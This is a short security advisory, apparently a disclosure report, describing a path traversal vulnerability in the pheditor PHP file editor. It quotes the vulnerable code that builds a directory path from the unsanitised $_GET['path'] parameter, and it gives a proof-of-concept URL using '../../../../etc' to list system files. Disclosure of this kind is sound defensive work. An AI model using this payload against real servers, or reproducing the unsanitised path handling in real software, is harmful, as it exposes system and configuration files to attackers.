Path Traversal in pheditor/pheditor
Reported on
Sep 14th 2021
Description
A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files.
https://github.com/pheditor/pheditor
is vulnerable to path traversal as shown below:
Proof of Concept
Variable: $_GET['path']
Snippet:
if (isset($_GET['path'])) {
header('Content-Type: application/json');
$dir = rtrim(MAIN_DIR . DS . trim($_GET['path'], '/'), '/');
Payload
Login to pheditor
Visit the following link in a browser:
http://localhost/pheditor-2/pheditor.php?path=../../../../etc
This will list all files on /etc/
Impact
In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take full control of the server.
SECURITY.md
2 years ago